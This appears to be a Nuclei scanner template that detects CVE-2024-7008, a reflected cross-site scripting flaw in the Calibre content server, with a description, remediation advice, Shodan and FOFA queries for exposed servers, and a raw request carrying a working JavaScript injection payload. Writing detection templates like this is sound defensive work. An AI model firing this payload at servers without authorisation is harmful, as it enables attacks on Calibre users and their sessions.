id: CVE-2024-7008

info:
  name: Calibre <= 7.15.0 - Reflected Cross-Site Scripting (XSS)
  author: DhiyaneshDK
  severity: medium
  description: |
    It is possible to inject arbitrary JavaScript code into the /browse endpoint of the Calibre content server, allowing an attacker to craft a URL that when clicked by a victim, will execute the attacker’s JavaScript code in the context of the victim’s browser. If the Calibre server is running with authentication enabled and the victim is logged in at the time, this can be used to cause the victim to perform actions on the Calibre server on behalf of the attacker.
  impact: |
    Attackers can craft malicious URLs that execute arbitrary JavaScript in victims' browsers, potentially performing unauthorized actions if authentication is enabled and the victim is logged in to the Calibre server.
  remediation: |
    Update Calibre to a version later than 7.15.0 to address the reflected XSS vulnerability.
  reference:
    - https://starlabs.sg/advisories/24/24-7008/
  classification:
    epss-score: 0.13396
    epss-percentile: 0.94286
  metadata:
    verified: true
    shodan-query: html:"Calibre"
    fofa-query: "Server: calibre"
    max-request: 1
  tags: cve,cve2024,calibre,xss,vuln

http:
  - raw:
      - |
        GET /browse/book/TEST&quot;;window.stop();alert(document.domain);%2f%2f HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - 'window.location.href = "/#book_id=TEST";window.stop();alert(document.domain);//&panel=book_details'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b8540cd14793304361f07019896227b82b10df694c539c5e5d18c3448d117dd902210089bd2cb9f996287840e13b1c9286ec1753062131b013c8c247c1d7976ce170a9:922c64590222798bb761d5b6d8e72950